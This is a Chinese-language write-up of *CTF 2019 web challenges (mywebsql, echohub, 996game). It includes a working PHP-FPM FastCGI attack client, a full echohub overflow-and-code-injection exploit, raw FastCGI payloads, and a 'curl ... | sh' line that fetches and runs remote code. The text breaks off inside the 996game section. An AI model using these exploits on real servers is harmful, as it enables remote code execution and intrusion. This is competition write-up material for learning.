2019 starctf writeup

0x00 前言

这次的题目真的让我学了好久,哈哈

环境部署:

1
2
3
4
docker build -t echohub:lastest .
docker run -p 10080:80 -tid echohub
# 进入容器执行命令
docker exec -it suspicious_noether /bin/bash

0x01 WEB

1. mywebsql

信息收集:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
[09:42:18] 200 -    1KB - /README.md
[09:42:51] 301 - 323B - /backups -> http://34.92.36.201:10080/backups/
[09:42:52] 200 - 3KB - /backups/
[09:42:59] 301 - 322B - /config -> http://34.92.36.201:10080/config/
[09:43:00] 200 - 3KB - /config/
[09:43:12] 200 - 9KB - /favicon.ico
[09:43:19] 301 - 319B - /img -> http://34.92.36.201:10080/img/
[09:43:20] 200 - 6KB - /index.php
[09:43:21] 200 - 6KB - /index.php/login/
[09:43:22] 200 - 6KB - /install.php
[09:43:23] 301 - 318B - /js -> http://34.92.36.201:10080/js/
[09:43:24] 301 - 320B - /lang -> http://34.92.36.201:10080/lang/
[09:43:24] 301 - 319B - /lib -> http://34.92.36.201:10080/lib/
[09:43:31] 301 - 323B - /modules -> http://34.92.36.201:10080/modules/
[09:43:48] 403 - 304B - /server-status/
[09:43:48] 403 - 303B - /server-status
[09:43:58] 301 - 322B - /themes -> http://34.92.36.201:10080/themes/
[09:43:58] 301 - 319B - /tmp -> http://34.92.36.201:10080/tmp/
[09:43:58] 200 - 936B - /tmp/

源码:
https://github.com/Samnan/MyWebSQL

导出建表,利用备份功能getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#! /usr/bin/perl
use Expect;
$obj = Expect->spawn( "./tmp/readflag" );
# $obj->exp_internal( 1 );
@result{ "position", "error", "match", "before", "after" } =$obj->expect(1,-re=>qr/\(\(.*\)\)/);
# print $result{"match"};
$res=eval($result{"match"});
# print $res;
$pos=$obj->expect(1,
[ qr/input your answer:\s*$/i,
sub{ my $self = shift; $self->send( $res."\r" ); exp_continue;}
],
);
# print $pos;
$obj->soft_close( );

65748B37-692A-4809-8794-A714FC111F3F.png

perl有个pp可以直接打包成二进制程序上传执行得到flag

屏幕快照 2019-04-28 上午10.00.10.png

php的话可以利用如下方式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
// 与二进制程序交互的脚本
$descriptorspec = array(
0 => array("pipe", "r"), // 标准输入,子进程从此管道读取数据
1 => array("pipe", "w"), // 标准输出,子进程向此管道写入数据
2 => array("file", "/tmp/.a/errer-output.txt", "a"), //标准错误,写入到一个文件
);

$cwd = '/';
$env = arrat();

$proess = proc_open('/readflag', $descriptorspec, $pipes, $cwd, $env);

if (is_resource($proess)) {
$a = fread($pipes[1], 1024);
$a = fread($pipes[1], 1024);

$a = explode("\n", $a);
eval("\$result=$a[0];");
echo ("\$result=$a[0];");

fwrite($pipes[0], "$result\n");

var_dump(fread($pipes[1], 1024));
var_dump(fread($pipes[1], 1024));
var_dump(fread($pipes[1], 1024));

fclose($pipes[0]);
fclose($pipes[1]);
$return_value = proc_close($proess);

echo "command returned $return_value\n";
}

?>

官方使用如下perl脚本进行解答

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
use strict;
use IPC::Open3;

my $pid = open3(\*CHLD_IN, \*CHLD_OUT, \*CHLD_ERR, '/readflag') or die "open3() failed $!";

my $r;

$r = <CHLD_OUT>;
print "$r";
$r = <CHLD_OUT>;
print "$r";
$r=eval "$r";
print "$r\n";
print CHLD_IN "$r\n";
$r = <CHLD_OUT>;
print "$r";
$r = <CHLD_OUT>;
print "$r";

2. echohub

0. 代码解密&源代码描述的栈情况解读

  1. 这个base64编码的脚本中是含有脏数据的和一些特殊字符的,直接使用编辑器编辑可能会有一些问题,所以我在此先使用脚本将其解码之后使用二进制编辑器010editor进行编辑

脚本如下

1
2
#!/bin/bash
echo 'base64_encode_phpcode_value' | base64 -D > ./log

使用010editor打开

212B5D86-CE77-4CAE-B610-E183EBE9FAB2.png

  1. 在010editor编辑器中手动删除一下脏数据
  2. 使用phptorm/vscode进行动态调试或者使用var_export来对这里的变量替换表进行分析

F4897E52-CFD9-4391-9C20-A18CFCF0AB68.png
可以看到对应的变量表,之后写一个脚本来对加密的PHP文件进行处理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
include 'index.php'; // index.php为被加密的文件
function replaceString($match){
global $O;
$index = -1;
if(false !== strpos($match[1], 'x')){
$index = hexdec($match[1]);
}
else{
$index = $match[1];
}
if( function_exists($O[$index]) || class_exists($O[$index]) || defined($O[$index]) ){
return $O[$index];
}
else{
return "'".addslashes($O[$index])."'";
}
}
$encrypto_string = file_get_contents('index.php');
$encrypto_string = preg_replace_callback('/\$GLOBALS[\[\{]O0[\]\}][\[\{](\w{1,15})[\]\}]/','replaceString',$encrypto_string);
$decrypto_string = preg_replace_callback('/\$[O0]*[\[\{](\w{2,15})[\]\}]/','replaceString',$encrypto_string);
file_put_contents('decrypted.php', $decrypto_string);
?>

PS: 此处有个坑点,使用sublime打开010editor处理后的代码是一堆16进制,但是使用vscode打开就问题。

1. 防护绕过&栈溢出

无论是aslr和canary的防护都是基于srand()的,而种子是time(),我们只要时区一样,那么本地和目标的time()的结果就是一样的,因而可以预测,进而绕过目标的防护机制。

此处我们的时区和目标主机是一样的,所以我们的time()是一样的,但是如果不一样,我们可以利用如下代码来从phpinfo获取对应的时间种子

1
2
3
4
5
6
7
8
9
10
<?php
require 'vendor/autoload.php';
define('TARGET', 'http://34.85.27.91:10080/');
// init random generator
$client = new GuzzleHttp\Client();
$res = $client->request('POST', TARGET, [
'form_params' => ['data' => 'aaaa']
]);
preg_match("/REQUEST_TIME'[^0-9]+(\d+)/", $res->getBody(), $matches);
srand((int)$matches[1]);

栈溢出覆盖之后记得把canary对应的值填上就好了,栈的情况如下

7777 POST参数2
6666 POST参数1
2 参数的数量
phpinfo地址 ret地址
EBP
canary
AAAAAAA
DATA:AAA ESP

因此对应的缓冲区的完整构造如下

1
$data = str_repeat( 'A', $padding_num ) . hexToStr( strrev( $canarycheck ) ) . "BBBB" . hexToStr( strrev( dechex( $func_['create_function'] ) ) ) . '000266667777';

2. 代码注入

参考自:https://www.exploit-db.com/exploits/32417

其实就是使用disable_functions没有包含的create_function进行代码注入造成任意命令执行,但是要注意的是,及时我们可以注入任意代码,但是这样的环境依旧受到disable_functions的制约,造成环境十分受限

3. 攻击fpm

为什么要攻击fpm?因为我们通过create_function得到的是一个受限的shell,所以我们要办法突破这个环境的限制

但PHP是一门强大的语言,PHP.INI中有两个有趣的配置项,auto_prepend_file和auto_append_file。

auto_prepend_file是告诉PHP,在执行目标文件之前,先包含auto_prepend_file中指定的文件;auto_append_file是告诉PHP,在执行完成目标文件后,包含auto_append_file指向的文件。

那么就有趣了,假设我们设置auto_prepend_file为php://input,那么就等于在执行任何php文件前都要包含一遍POST的内容。所以,我们只需要把待执行的代码放在Body中,他们就能被执行了。(当然,还需要开启远程文件包含选项allow_url_include)

引用自:《Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写》

之后就是利用这个漏洞老帮助我们执行命令,想要执行的代码如下

1
<?php system('curl http://ebcece08.w1n.pw/getflag | sh');die('zeroyu');?>

getflag的内容如下

1
2
3
4
5
6
id;
ls /;
/readflag
echo " ";
echo 'dXNlIHN0cmljdDsKdXNlIElQQzo6T3BlbjM7CgpteSAkcGlkID0gb3BlbjMoXCpDSExEX0lOLCBcKkNITERfT1VULCBcKkNITERfRVJSLCAnL3JlYWRmbGFnJykgb3IgZGllICJvcGVuMygpIGZhaWxlZCAkISI7CgpteSAkcjsKCiRyID0gPENITERfT1VUPjsKcHJpbnQgIiRyIjsKJHIgPSA8Q0hMRF9PVVQ+OwpwcmludCAiJHIiOwokcj1ldmFsICIkciI7CnByaW50ICIkclxuIjsKcHJpbnQgQ0hMRF9JTiAiJHJcbiI7CiRyID0gPENITERfT1VUPjsKcHJpbnQgIiRyIjsKJHIgPSA8Q0hMRF9PVVQ+OwpwcmludCAiJHIiOw=='|base64 -d | perl
echo " ";

被base64编码的内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
use strict;
use IPC::Open3;

my $pid = open3(\*CHLD_IN, \*CHLD_OUT, \*CHLD_ERR, '/readflag') or die "open3() failed $!";

my $r;

$r = <CHLD_OUT>;
print "$r";
$r = <CHLD_OUT>;
print "$r";
$r=eval "$r";
print "$r\n";
print CHLD_IN "$r\n";
$r = <CHLD_OUT>;
print "$r";
$r = <CHLD_OUT>;
print "$r";

PS: 这种远程下载执行的方法可以有效缩短执行代码的长度

攻击代码的生成

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
import socket
import base64
import random
import argparse
import sys
from io import BytesIO
import urllib
# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client
PY2 = True if sys.version_info.major == 2 else False
def bchr(i):
if PY2:
return force_bytes(chr(i))
else:
return bytes([i])
def bord(c):
if isinstance(c, int):
return c
else:
return ord(c)
def force_bytes(s):
if isinstance(s, bytes):
return s
else:
return s.encode('utf-8', 'strict')
def force_text(s):
if issubclass(type(s), str):
return s
if isinstance(s, bytes):
s = str(s, 'utf-8', 'strict')
else:
s = str(s)
return s
class FastCGIClient:
"""A Fast-CGI Client for Python"""
# private
__FCGI_VERSION = 1
__FCGI_ROLE_RESPONDER = 1
__FCGI_ROLE_AUTHORIZER = 2
__FCGI_ROLE_FILTER = 3
__FCGI_TYPE_BEGIN = 1
__FCGI_TYPE_ABORT = 2
__FCGI_TYPE_END = 3
__FCGI_TYPE_PARAMS = 4
__FCGI_TYPE_STDIN = 5
__FCGI_TYPE_STDOUT = 6
__FCGI_TYPE_STDERR = 7
__FCGI_TYPE_DATA = 8
__FCGI_TYPE_GETVALUES = 9
__FCGI_TYPE_GETVALUES_RESULT = 10
__FCGI_TYPE_UNKOWNTYPE = 11
__FCGI_HEADER_SIZE = 8
# request state
FCGI_STATE_SEND = 1
FCGI_STATE_ERROR = 2
FCGI_STATE_SUCCESS = 3
def __init__(self, host, port, timeout, keepalive):
self.host = host
self.port = port
self.timeout = timeout
if keepalive:
self.keepalive = 1
else:
self.keepalive = 0
self.sock = None
self.requests = dict()
def __connect(self):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(self.timeout)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# if self.keepalive:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
# else:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
try:
self.sock.connect((self.host, int(self.port)))
except socket.error as msg:
self.sock.close()
self.sock = None
print(repr(msg))
return False
return True
def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
length = len(content)
buf = bchr(FastCGIClient.__FCGI_VERSION) \
+ bchr(fcgi_type) \
+ bchr((requestid >> 8) & 0xFF) \
+ bchr(requestid & 0xFF) \
+ bchr((length >> 8) & 0xFF) \
+ bchr(length & 0xFF) \
+ bchr(0) \
+ bchr(0) \
+ content
return buf
def __encodeNameValueParams(self, name, value):
nLen = len(name)
vLen = len(value)
record = b''
if nLen < 128:
record += bchr(nLen)
else:
record += bchr((nLen >> 24) | 0x80) \
+ bchr((nLen >> 16) & 0xFF) \
+ bchr((nLen >> 8) & 0xFF) \
+ bchr(nLen & 0xFF)
if vLen < 128:
record += bchr(vLen)
else:
record += bchr((vLen >> 24) | 0x80) \
+ bchr((vLen >> 16) & 0xFF) \
+ bchr((vLen >> 8) & 0xFF) \
+ bchr(vLen & 0xFF)
return record + name + value
def __decodeFastCGIHeader(self, stream):
header = dict()
header['version'] = bord(stream[0])
header['type'] = bord(stream[1])
header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
header['paddingLength'] = bord(stream[6])
header['reserved'] = bord(stream[7])
return header
def __decodeFastCGIRecord(self, buffer):
header = buffer.read(int(self.__FCGI_HEADER_SIZE))
if not header:
return False
else:
record = self.__decodeFastCGIHeader(header)
record['content'] = b''

if 'contentLength' in record.keys():
contentLength = int(record['contentLength'])
record['content'] += buffer.read(contentLength)
if 'paddingLength' in record.keys():
skiped = buffer.read(int(record['paddingLength']))
return record
def request(self, nameValuePairs={}, post=''):
# if not self.__connect():
# print('connect failure! please check your fasctcgi-server !!')
# return
requestId = random.randint(1, (1 << 16) - 1)
self.requests[requestId] = dict()
request = b""
beginFCGIRecordContent = bchr(0) \
+ bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
+ bchr(self.keepalive) \
+ bchr(0) * 5
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
beginFCGIRecordContent, requestId)
paramsRecord = b''
if nameValuePairs:
for (name, value) in nameValuePairs.items():
name = force_bytes(name)
value = force_bytes(value)
paramsRecord += self.__encodeNameValueParams(name, value)
if paramsRecord:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)
if post:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
#print base64.b64encode(request)
return request
# self.sock.send(request)
# self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
# self.requests[requestId]['response'] = b''
# return self.__waitForResponse(requestId)
def __waitForResponse(self, requestId):
data = b''
while True:
buf = self.sock.recv(512)
if not len(buf):
break
data += buf
data = BytesIO(data)
while True:
response = self.__decodeFastCGIRecord(data)
if not response:
break
if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
if requestId == int(response['requestId']):
self.requests[requestId]['response'] += response['content']
if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
self.requests[requestId]
return self.requests[requestId]['response']
def __repr__(self):
return "fastcgi connect host:{} port:{}".format(self.host, self.port)
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
parser.add_argument('host', help='Target host, such as 127.0.0.1')
parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)
args = parser.parse_args()
client = FastCGIClient(args.host, args.port, 3, 0)
params = dict()
documentRoot = "/"
uri = args.file
content = args.code
params = {
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'POST',
'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
'SCRIPT_NAME': uri,
'QUERY_STRING': '',
'REQUEST_URI': uri,
'DOCUMENT_ROOT': documentRoot,
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '9985',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1',
'CONTENT_TYPE': 'application/text',
'CONTENT_LENGTH': "%d" % len(content),
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
response = client.request(params, content)
response = urllib.quote(response)
print response
# print("gopher://127.0.0.1:" + str(args.port) + "/_" + response)

使用方式

1
python fastcgi.py 127.0.0.1 /var/www/html/index.php -c "<?php system('curl http://ebcece08.w1n.pw/getflag | sh');die('zeroyu');?>"

5. EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
<?php
$disable_functions = ini_get("disable_functions");
$loadext = get_loaded_extensions();
foreach ($loadext as $ext) {
if (in_array($ext, array("Core", "date", "libxml", "pcre", "zlib", "filter", "hash", "sqlite3", "zip"))) {
continue;
} else {
if (count(get_extension_funcs($ext) ? get_extension_funcs($ext) : array()) >= 1) {
$dfunc = join(',', get_extension_funcs($ext));
} else {
continue;
}
$disable_functions = $disable_functions . $dfunc . ",";

}
}
$func = get_defined_functions()["internal"];

$seed = time();
srand($seed);
define('INS_OFFSET', rand(0x0, 0xffff));
$regs = array('eax' => 0x0, 'ebp' => 0x0, 'esp' => 0x0, 'eip' => 0x0);
function aslr(&$a, $O0O) {
$a = $a + 0x60000000 + INS_OFFSET + 0x1;
}

//构造函数地址
$func_ = array_flip($func);
array_walk($func_, 'aslr');
$plt = array_flip($func_);

function handle_data($data) {
$len = strlen($data);
$a = $len / 0x4 + 0x1 * ($len % 0x4);
$ret = str_split($data, 0x4);
$ret[$a - 0x1] = str_pad($ret[$a - 0x1], 0x4, "\x00");
foreach ($ret as $key => &$value) {
$value = strrev(bin2hex($value));
}

return $ret;
}

function gen_canary() {
$canary = 'abcdefghijklmnopqrstuvwxyzABCDEFGHJKLMNPQEST123456789';
$a = $canary[rand(0, strlen($canary) - 0x1)];
$b = $canary[rand(0, strlen($canary) - 0x1)];
$c = $canary[rand(0, strlen($canary) - 0x1)];
$d = "\x00";

return handle_data($a . $b . $c . $d)[0];
}

$canary = gen_canary();
$canarycheck = $canary;
function check_canary() {
global $canary;
global $canarycheck;
if ($canary != $canarycheck) {
die('emmmmmm...Don\'t attack me!');
}
}

class stack {
public $ebp, $stack, $esp;

public function __construct($a, $b) {
$this->stack = array();
global $regs;
$this->ebp = &$regs['ebp'];
$this->esp = &$regs['esp'];
$this->ebp = 0xfffe0000 + rand(0x0, 0xffff);
global $canary;
$this->stack[$this->ebp - 0x4] = &$canary;
$this->canary = $canary;
$this->stack[$this->ebp] = $this->ebp + rand(0x0, 0xffff);
$this->esp = $this->ebp - rand(0x20, 0x60) * 0x4;
$this->stack[$this->ebp + 0x4] = dechex($a);
if ($b != null) {
$this->pushdata($b);
}
}

public function pushdata($data) {
$data_bak = $data;
$data = handle_data($data);
for ($i = 0; $i < count($data); $i++) {
$this->stack[$this->esp + $i * 0x4] = $data[$i];
//no args in my stack haha
check_canary();
}
}

public function recover_data($data) {
return hex2bin(strrev($data));
}

public function outputdata() {
global $regs;
echo 'root says: ';
while (0x1) {
if ($this->esp == $this->ebp - 0x4) {
break;
}
$this->pop('eax');
$data = $this->recover_data($regs['eax']);
$ret = explode("\x00", $data);
echo $ret[0];
if (count($ret) > 0x1) {
break;
}
}
}

public function ret() {
$this->esp = $this->ebp;
$this->pop('ebp');
$this->pop('eip');
$this->call();
}

public function get_data_from_reg($item) {
global $regs;
$a = $this->recover_data($regs[$item]);
$b = explode("\x00", $a);

return $b[0];
}

public function call() {
global $regs;
global $plt;
$a = hexdec($regs['eip']);
if (isset($_REQUEST[$a])) {
$this->pop('eax');
$len = (int) $this->get_data_from_reg('eax');
$args = array();
for ($i = 0; $i < $len; $i++) {
$this->pop('eax');
$data = $this->get_data_from_reg('eax');
array_push($args, $_REQUEST[$data]);
}
call_user_func_array($plt[$a], $args);
} else {
call_user_func($plt[$a]);
}
}

public function push($item) {
global $regs;
$data = $regs[$item];
if (hex2bin(strrev($data)) == null) {
die('data error');
}
$this->stack[$this->esp] = $data;
$this->esp -= 0x4;
}

public function pop($item) {
global $regs;
$regs[$item] = $this->stack[$this->esp];
$this->esp += 0x4;
}

public function __call($name, $args) {
check_canary();
}
}

function hexToStr($hex) {
$str = "";
for ($i = 0; $i < strlen($hex) - 1; $i += 2) {
$str .= chr(hexdec($hex[$i] . $hex[$i + 1]));
}

return $str;
}

function _httpPost($url = "", $requestData = array()) {

$curl = curl_init();
#curl_setopt( $curl, CURLOPT_PROXY, "127.0.0.1:8080" );
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);

//普通数据
curl_setopt($curl, CURLOPT_POSTFIELDS, http_build_query($requestData));
$res = curl_exec($curl);

//$info = curl_getinfo($ch);
curl_close($curl);

return $res;
}

$phpinfo_addr = array_search('phpinfo', $plt);
$gets = 'zeroyu';
$main_stack1 = new stack($phpinfo_addr, $gets);
$ebp = $main_stack1->ebp;
$esp = $main_stack1->esp;
$padding_num = ($main_stack1->ebp - $main_stack1->esp) - 4;

$shellcode = '}echo "pwned<br>";$fp = stream_socket_client("unix:///run/php/php7.3-fpm.sock", $errno, $errstr,30);$out = urldecode("%01%01%99%E6%00%08%00%00%00%01%00%00%00%00%00%00%01%04%99%E6%01%DB%00%00%0E%02CONTENT_LENGTH73%0C%10CONTENT_TYPEapplication/text%0B%04REMOTE_PORT9985%0B%09SERVER_NAMElocalhost%11%0BGATEWAY_INTERFACEFastCGI/1.0%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0F%17SCRIPT_FILENAME/var/www/html/index.php%0B%17SCRIPT_NAME/var/www/html/index.php%09%1FPHP_VALUEauto_prepend_file%20%3D%20php%3A//input%0E%04REQUEST_METHODPOST%0B%02SERVER_PORT80%0F%08SERVER_PROTOCOLHTTP/1.1%0C%00QUERY_STRING%0F%16PHP_ADMIN_VALUEallow_url_include%20%3D%20On%0D%01DOCUMENT_ROOT/%0B%09SERVER_ADDR127.0.0.1%0B%17REQUEST_URI/var/www/html/index.php%01%04%99%E6%00%00%00%00%01%05%99%E6%00I%00%00%3C%3Fphp%20system%28%27curl%20http%3A//ebcece08.w1n.pw/getflag%20%7C%20sh%27%29%3Bdie%28%27zeroyu%27%29%3B%3F%3E%01%05%99%E6%00%00%00%00");stream_socket_sendto($fp,$out);while (!feof($fp)) {echo htmlspecialchars(fgets($fp, 10)); }fclose($fp);//';

$post_data = array();
$data = str_repeat('A', $padding_num) . hexToStr(strrev($canarycheck)) . "BBBB" . hexToStr(strrev(dechex($func_['create_function']))) . '000266667777';
$post_data['data'] = $data;
$post_data[$func_['create_function']] = 'zeroyu';
$post_data['6666'] = '';
$post_data['7777'] = $shellcode;

$rs = _httpPost("http://47.90.204.28:10080/", $post_data);
echo $rs;

rr的exp

1
2
3
4
5
6
7
8
<?php
$a=stream_socket_client("unix:///run/php/php7.3-fpm.sock");
fputs($a, urldecode("%01%01R%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04R%01%01%DC%00%00%0E%03CONTENT_LENGTH697%0C%10CONTENT_TYPEapplication/text%0B%04REMOTE_PORT9985%0B%09SERVER_NAMElocalhost%11%0BGATEWAY_INTERFACEFastCGI/1.0%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0F%17SCRIPT_FILENAME/var/www/html/index.php%0B%17SCRIPT_NAME/var/www/html/index.php%09%1FPHP_VALUEauto_prepend_file%20%3D%20php%3A//input%0E%04REQUEST_METHODPOST%0B%02SERVER_PORT80%0F%08SERVER_PROTOCOLHTTP/1.1%0C%00QUERY_STRING%0F%16PHP_ADMIN_VALUEallow_url_include%20%3D%20On%0D%01DOCUMENT_ROOT/%0B%09SERVER_ADDR127.0.0.1%0B%17REQUEST_URI/var/www/html/index.php%01%04R%01%00%00%00%00%01%05R%01%02%B9%00%00%3C%3Fphp%0A%24descriptorspec%20%3D%20array%28%0A%20%20%200%20%3D%3E%20array%28%22pipe%22%2C%20%22r%22%29%2C%0A%20%20%201%20%3D%3E%20array%28%22pipe%22%2C%20%22w%22%29%2C%0A%20%20%202%20%3D%3E%20array%28%22pipe%22%2C%20%22w%22%29%0A%29%3B%0A%0A%24cwd%20%3D%20%27/%27%3B%0A%24env%20%3D%20array%28%29%3B%0A%0A%24process%20%3D%20proc_open%28%27/readflag%27%2C%20%24descriptorspec%2C%20%24pipes%2C%20%24cwd%2C%20%24env%29%3B%0A%0Aif%20%28is_resource%28%24process%29%29%20%7B%0A%20%20%20%20%24a%20%3D%20fread%28%24pipes%5B1%5D%2C%201024%29%3B%0A%20%20%20%20%24a%20%3D%20fread%28%24pipes%5B1%5D%2C%201024%29%3B%0A%0A%20%20%20%20%24a%20%3D%20explode%28%22%5Cn%22%2C%20%24a%29%3B%0A%20%20%20%20eval%28%22%5C%24result%20%3D%20%24a%5B0%5D%3B%22%29%3B%0A%20%20%20%20echo%28%22%5C%24result%20%3D%20%24a%5B0%5D%3B%22%29%3B%0A%0A%20%20%20%20fwrite%28%24pipes%5B0%5D%2C%20%22%24result%5Cn%22%29%3B%0A%0A%20%20%20%20var_dump%28fread%28%24pipes%5B1%5D%2C%201024%29%29%3B%0A%20%20%20%20var_dump%28fread%28%24pipes%5B1%5D%2C%201024%29%29%3B%0A%20%20%20%20var_dump%28fread%28%24pipes%5B1%5D%2C%201024%29%29%3B%0A%0A%20%20%20%20fclose%28%24pipes%5B0%5D%29%3B%0A%20%20%20%20fclose%28%24pipes%5B1%5D%29%3B%0A%20%20%20%20%24return_value%20%3D%20proc_close%28%24process%29%3B%0A%0A%20%20%20%20echo%20%22command%20returned%20%24return_value%5Cn%22%3B%0A%7D%0A%3F%3E%01%05R%01%00%00%00%00"));
var_dump(fgets($a, 1024));
var_dump(fgets($a, 1024));
var_dump(fgets($a, 1024));
var_dump(fgets($a, 1024));
var_dump(fgets($a, 1024));

6.参考

《Echohub 官方》

《ROIS *CTF2019 Writeup》

《CTF 2019 Mywebsql Echohub WriteUp》

《PHP 连接方式&攻击PHP-FPM&*CTF echohub WP》

《2019星CTF之Web部分题解》

3. 996game

OrZ

This challenge is temporarily made in the afternoon before the CTF game(From findding bugs to challenges). So there are some rushes in this challenge , please bear with me.

writeup

First we can find hint from HTML source code.

It’s an open-source HTML5 game.

https://github.com/Jerenaux/phaserquest

We can see there is a static file leak vulnerability

https://github.com/Jerenaux/phaserquest/blob/master/server.js#L44

1
2
3
app.use('/css',express.static(__dirname + '/css'));
app.use('/js',express.static(__dirname + '/js'));
app.use('/assets',express.static(__dirname + '/assets'));

生成器函数express.static会生成一个中间件函数。该中间件响应请求的方法,是将传递给生成器函数的参数视作一个目录,并尝试在其中寻找能与请求URL相匹配的文件。如果文件路径存在,就将文件的内容作为响应返回;如果不存在,就执行中间件链条上的下一个函数。中间件是通过应用的use()方法挂在到应用上的。

对比源代码可以迅速发现一个eval函数

5C91C1D6-DA0C-4A0C-A5EF-ADCD922BBC3F.png

这里当查询 mongodb 报错时,会把报错信息 err.message 带入 eval 中,所以只要报错信息可控就可以造成任意代码执行。

Now, we need to find a way to get mongodb error.

此处我们直接进docker中看一下mongo的错误点

1
docker exec -it source_mongo_1 /bin/bash

进入mongo的shell查询一下对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
> show dbs
admin 0.000GB
local 0.000GB
phaserQuest 0.000GB
> use phaserQuest
switched to db phaserQuest
> db
phaserQuest
> show tables
players
> db.playsers.find({_id:{'$a=1;':""}})
Error: error: {
"ok" : 0,
"errmsg" : "unknown operator: $a=1;",
"code" : 2,
"codeName" : "BadValue"
}

可以看到查表时当条件是一个 JSON 且键名以$开头时 mongodb 就会报错,还会把键名输出到 errmsg 中。但是此处 id 还经过了 new ObjectId() 对象,因此

Only one thing we can control is id, so we can track the ObjectId() function.

https://github.com/mongodb/js-bson/blob/V1.0.4/lib/bson/objectid.js#L28

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
...

var valid = ObjectID.isValid(id);

...

ObjectID.isValid = function isValid(id) {
if(id == null) return false;

if(typeof id == 'number') {
return true;
}

if(typeof id == 'string') {
return id.length == 12 || (id.length == 24 && checkForHexRegExp.test(id));
}

if(id instanceof ObjectID) {
return true;
}

if(id instanceof _Buffer) {
return true;
}

// Duck-Typing detection of ObjectId like objects
if(id.toHexString) {
return id.id.length == 12 || (id.id.length == 24 && checkForHexRegExp.test(id.id));
}

return false;
};

Now we can use id = {"id":{"length":12}} bypass it.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
...

if(!valid && id != null){
